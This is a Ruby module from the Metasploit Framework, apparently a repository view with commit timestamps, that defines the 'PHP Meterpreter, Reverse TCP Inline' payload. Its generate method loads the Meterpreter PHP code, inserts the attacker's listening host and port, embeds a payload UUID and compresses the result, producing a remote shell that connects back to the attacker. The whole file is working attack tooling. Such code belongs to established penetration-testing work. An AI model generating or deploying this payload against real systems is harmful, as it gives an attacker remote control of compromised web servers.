metasploit-framework/modules/payloads/singles/php/meterpreter_reverse_tcp.rb

48 lines
1.4 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
2015-05-20 06:50:00 +00:00
require 'msf/core/payload/php/reverse_tcp'
require 'msf/base/sessions/meterpreter_php'
require 'msf/base/sessions/meterpreter_options'
module Metasploit4
2016-02-11 04:44:17 +00:00
CachedSize = 26778
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
2015-05-20 06:50:00 +00:00
include Msf::Payload::Php::ReverseTcp
2013-08-30 21:28:54 +00:00
include Msf::Sessions::MeterpreterOptions
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Meterpreter, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a Meterpreter server (PHP)',
'Author' => ['egypt'],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_Php_Php))
end
2013-08-30 21:28:54 +00:00
def generate
met = MetasploitPayloads.read('meterpreter', 'meterpreter.php')
2013-08-30 21:28:54 +00:00
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
uuid = generate_payload_uuid
bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
2013-08-30 21:28:54 +00:00
met.gsub!(/#.*$/, '')
met = Rex::Text.compress(met)
met
end
end